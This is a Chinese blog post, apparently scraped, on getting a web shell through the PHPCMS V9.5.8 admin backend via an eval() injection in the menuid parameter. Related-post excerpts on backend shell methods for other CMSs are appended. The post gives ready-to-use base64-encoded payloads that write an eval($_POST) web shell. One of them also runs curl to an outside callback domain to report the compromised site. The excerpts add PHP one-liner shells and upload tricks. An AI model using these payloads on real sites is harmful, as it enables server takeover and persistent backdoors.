phpcmsV9.5.8 后台拿shell

参考url:https://xianzhi.aliyun.com/forum/read/1507.html

poc:index.php??m=content&c=content&a=public_categorys&menuid=${@phpinfo()}

根据拿到的poc,phpcms的mvc结构,代码位于/phpcms/modules/content/content.php  第472-532行

	public function public_categorys() {
		$show_header = ‘‘;
		$cfg = getcache(‘common‘,‘commons‘);
		$ajax_show = intval($cfg[‘category_ajax‘]);
		$from = isset($_GET[‘from‘]) && in_array($_GET[‘from‘],array(‘block‘)) ? $_GET[‘from‘] : ‘content‘;
		$tree = pc_base::load_sys_class(‘tree‘);
		if($from==‘content‘ && $_SESSION[‘roleid‘] != 1) {
			$this->priv_db = pc_base::load_model(‘category_priv_model‘);
			$priv_result = $this->priv_db->select(array(‘action‘=>‘init‘,‘roleid‘=>$_SESSION[‘roleid‘],‘siteid‘=>$this->siteid,‘is_admin‘=>1));
			$priv_catids = array();
			foreach($priv_result as $_v) {
				$priv_catids[] = $_v[‘catid‘];
			}
			if(empty($priv_catids)) return ‘‘;
		}
		$categorys = array();
		if(!empty($this->categorys)) {
			foreach($this->categorys as $r) {
				if($r[‘siteid‘]!=$this->siteid ||  ($r[‘type‘]==2 && $r[‘child‘]==0)) continue;
				if($from==‘content‘ && $_SESSION[‘roleid‘] != 1 && !in_array($r[‘catid‘],$priv_catids)) {
					$arrchildid = explode(‘,‘,$r[‘arrchildid‘]);
					$array_intersect = array_intersect($priv_catids,$arrchildid);
					if(empty($array_intersect)) continue;
				}
				if($r[‘type‘]==1 || $from==‘block‘) {
					if($r[‘type‘]==0) {
						$r[‘vs_show‘] = "<a href=‘?m=block&c=block_admin&a=public_visualization&menuid=".$_GET[‘menuid‘]."&catid=".$r[‘catid‘]."&type=show‘ target=‘right‘>[".L(‘content_page‘)."]</a>";
					} else {
						$r[‘vs_show‘] =‘‘;
					}
					$r[‘icon_type‘] = ‘file‘;
					$r[‘add_icon‘] = ‘‘;
					$r[‘type‘] = ‘add‘;
				} else {
					$r[‘icon_type‘] = $r[‘vs_show‘] = ‘‘;
					$r[‘type‘] = ‘init‘;
					$r[‘add_icon‘] = "<a target=‘right‘ href=‘?m=content&c=content&menuid=".$_GET[‘menuid‘]."&catid=".$r[‘catid‘]."‘ onclick=javascript:openwinx(‘?m=content&c=content&a=add&menuid=".$_GET[‘menuid‘]."&catid=".$r[‘catid‘]."&hash_page=".$_SESSION[‘hash_page‘]."‘,‘‘)><img src=‘".IMG_PATH."add_content.gif‘ alt=‘".L(‘add‘)."‘></a> ";
				}
				$categorys[$r[‘catid‘]] = $r;
			}
		}
		if(!empty($categorys)) {
			$tree->init($categorys);
				switch($from) {
					case ‘block‘:
						$strs = "<span class=‘\$icon_type‘>\$add_icon<a href=‘?m=block&c=block_admin&a=public_visualization&menuid=".$_GET[‘menuid‘]."&catid=\$catid&type=list‘ target=‘right‘>\$catname</a> \$vs_show</span>";
						$strs2 = "<img src=‘".IMG_PATH."folder.gif‘> <a href=‘?m=block&c=block_admin&a=public_visualization&menuid=".$_GET[‘menuid‘]."&catid=\$catid&type=category‘ target=‘right‘>\$catname</a>";
					break;

					default:
						$strs = "<span class=‘\$icon_type‘>\$add_icon<a href=‘?m=content&c=content&a=\$type&menuid=".$_GET[‘menuid‘]."&catid=\$catid‘ target=‘right‘ onclick=‘open_list(this)‘>\$catname</a></span>";
						$strs2 = "<span class=‘folder‘>\$catname</span>";
						break;
				}
			$categorys = $tree->get_treeview(0,‘category_tree‘,$strs,$strs2,$ajax_show);
		} else {
			$categorys = L(‘please_add_category‘);
		}
        include $this->admin_tpl(‘category_tree‘);
		exit;
	}

  

在当前函数开始下个断点

跟到526行:

$categorys = $tree->get_treeview(0,‘category_tree‘,$strs,$strs2,$ajax_show);

  

进入了get_treeview()函数,跟入进去,

函数位于 /phpcms/libs/classes/tree.class.php  第206-239行。

* @param $myid 表示获得这个ID下的所有子级* @param $effected_id 需要生成treeview目录数的id* @param $str 末级样式* @param $str2 目录级别样式* @param $showlevel 直接显示层级数,其余为异步显示,0为全部限制* @param $style 目录样式 默认 filetree 可增加其他样式如‘filetree treeview-famfamfam‘* @param $currentlevel 计算当前层级,递归使用 适用改函数时不需要用该参数* @param $recursion 递归使用 外部调用时为FALSE
   function get_treeview($myid,$effected_id=‘example‘,$str="<span class=‘file‘>\$name</span>", $str2="<span class=‘folder‘>\$name</span>" ,$showlevel = 0 ,$style=‘filetree ‘ , $currentlevel = 1,$recursion=FALSE) {
        $child = $this->get_child($myid);
        if(!defined(‘EFFECTED_INIT‘)){
           $effected = ‘ id="‘.$effected_id.‘"‘;
           define(‘EFFECTED_INIT‘, 1);
        } else {
           $effected = ‘‘;
        }
		$placeholder = 	‘<ul><li><span class="placeholder"></span></li></ul>‘;
        if(!$recursion) $this->str .=‘<ul‘.$effected.‘  class="‘.$style.‘">‘;
        foreach($child as $id=>$a) {

        	@extract($a);
			if($showlevel > 0 && $showlevel == $currentlevel && $this->get_child($id)) $folder = ‘hasChildren‘; //如设置显示层级模式@2011.07.01
        	$floder_status = isset($folder) ? ‘ class="‘.$folder.‘"‘ : ‘‘;
            $this->str .= $recursion ? ‘<ul><li‘.$floder_status.‘ id=\‘‘.$id.‘\‘>‘ : ‘<li‘.$floder_status.‘ id=\‘‘.$id.‘\‘>‘;
            $recursion = FALSE;
            if($this->get_child($id)){
            	eval("\$nstr = \"$str2\";");
            	$this->str .= $nstr;
                if($showlevel == 0 || ($showlevel > 0 && $showlevel > $currentlevel)) {
					$this->get_treeview($id, $effected_id, $str, $str2, $showlevel, $style, $currentlevel+1, TRUE);
				} elseif($showlevel > 0 && $showlevel == $currentlevel) {
					$this->str .= $placeholder;
				}
            } else {
                eval("\$nstr = \"$str\";");
                $this->str .= $nstr;
            }
            $this->str .=$recursion ? ‘</li></ul>‘: ‘</li>‘;
        }
        if(!$recursion)  $this->str .=‘</ul>‘;
        return $this->str;
    }

  这里有个判断:

if($this->get_child($id))

当第一次执行为ture的时候,还是会再次执行get_treeview的内容

$this->get_treeview($id, $effected_id, $str, $str2, $showlevel, $style, $currentlevel+1, TRUE);

第二次执行的时候$myid由0变成了1,

下图的$myid是 $id的值

这时候的$newarr为空,

if就不执行,转而执行elseif和else,而$str包含着menuid的值,也就是${@phpinfo()} ,这时候eval() 就执行了php代码。

这要管理员权限才能代码执行,修改下payload,管理员一访问就在当前域名的首页路径下生成shell。

/index.php?m=content&c=content&a=public_categorys&menuid=${@(assert(base64_decode(ZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycpOw)))}

密码1

还有另一种payload,会回显的提醒。

自动curl请求你的域名,然后回显网站url

print_r(base64_encode("fputs(fopen(‘shell.php‘,‘w‘),‘<?php eval(\$_POST[2]);‘);system(‘curl ‘.\$_SERVER[\"SERVER_NAME\"].‘4321.nrcuf9.ceye.io‘);"));

  先输出base64的地址,然后在替换下面的字符串

/index.php?m=content&c=content&a=public_categorys&menuid=(${@(assert(eval(base64_decode(ZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbMl0pOycpO3N5c3RlbSgnY3VybCAnLiRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdLic0MzIxLm5yY3VmOS5jZXllLmlvJyk7))))})

这个字符串有几个点提醒下自己, assert()函数执行执行一句php代码,所以在assert前面加个eval,执行多条语句。

如果有读者读到这篇,求告知php的${} 作用。

时间: 2024-08-11 04:18:23

phpcmsV9.5.8 后台拿shell的相关文章

discuz6.1两种方法后台拿shell

discuz6.1两种方法后台拿shell好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下1:http://127.0.0.1/discuz/admincp.php?action=runwizard&frames=yesadmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell<?php eval($_POST[cmd]);?>后台webshell地址

关于phpweb后台拿shell简单方法。

首先登录后台admin.php 登录后台管理系统后,然后把下面的文件保存为xxx.html,修改action,把 www.xxx.com 改成你的目标网站地址. 代码文件如下: <form name="uploadForm" method="post" enctype="multipart/form-data" action="http://www.xxx.com/kedit/upload_cgi/upload.php"

CreateLiveCMSV4.0 漏洞,无需后台Get shell

Title:CreateLiveCMSV4.0 漏洞,无需后台Get shell --2012-03-06 17:28 标题:CreateLive CMS Version 4.0.1006 漏洞,无需后台 Get shell 必须环境:IIS6,上传目录可执行脚本 CreateLive CMS Version 4.0.1006 是个非常古老滴CMS了. ------------------------------------------------------------------------

KesionCMS V6.5后台拿SHELL方法

Title:KesionCMS V6.5后台拿SHELL方法  --2011-03-29 00:21 最近弄一个站点,是KesionCMS V6.5的WEB系统,试了下后台拿webshell方法,记下来. 1. 新建x.asp用户再结合IIS的文件夹解析漏洞,是可以拿到SHELL的,前提是没有禁止.asp目录的访问,我弄的目标站,不允许访问.asp这样的目录下面的文件的. 2. 后台SQL执行导出webshell 理论上是可以的,我在本地可以导出ok.asp;o.xls这样的文件的.但是TXT文

另类dedecms后台拿shell

遇到一个被阉割的后台,发现直接传shell显然不行. 然后就有了下文 添加一个新广告. 插入一句话木马: 1 --><?php $_GET[c]($_POST[x]);?><!-- 然后访问: /plus/ad_js.php?aid=42&c=assert aid后面的值是你广告的id. 原文地址:https://www.cnblogs.com/nul1/p/9042801.html

wordpress 5.1 后台拿shell

闲着没事搭建了一套最新版wordpress 5.1,本身wordpress后台安全防御是比较差的,想尝试下后台是否可以拿shell. 再上传插件的地方可以直接上传php文件,并且该文件可以执行: shell地址为:http://192.168.62.130/wordpress/wp-content/uploads/2019/03/9.php,其中2019/03为上传shell的年月份 原文地址:https://www.cnblogs.com/qiaodan/p/10556800.html

emblog后台拿shell

emlog版本:5.3.1 先本地弄好shell 新建一个文件夹,里面放shell,shell名称和文件名要一致.压缩为zip 然后在安装插件处上传. 成功后的路径content/plugins/test/test.php这个是主题包的路径 over.

Yzmcms后台拿shell

废话不多说,直入正题 首先function.php 可以看到此方法是用数组遍历的方式写入到/config/config.php 打开config.php看看 <?php return array(   //系统配置 'site_theme' => 'default', //站点默认主题目录 'url_html_suffix' => '.html', //URL伪静态后缀   //数据库配置 'db_type' => 'mysqli', // 数据库链接扩展[暂支持 mysql 和

后台执行shell脚本

执行方式: nohup sh export_data.sh 20150102 >20150102.log 2>&1 & [1] 29531 其中 0.1.2分别代表如下含义: 0 – stdin (standard input) 1 – stdout (standard output) 2 – stderr (standard error) nohup+最后面的& 是让命令在后台执行 >out.log 是将信息输出到out.log日志中 2>&1 是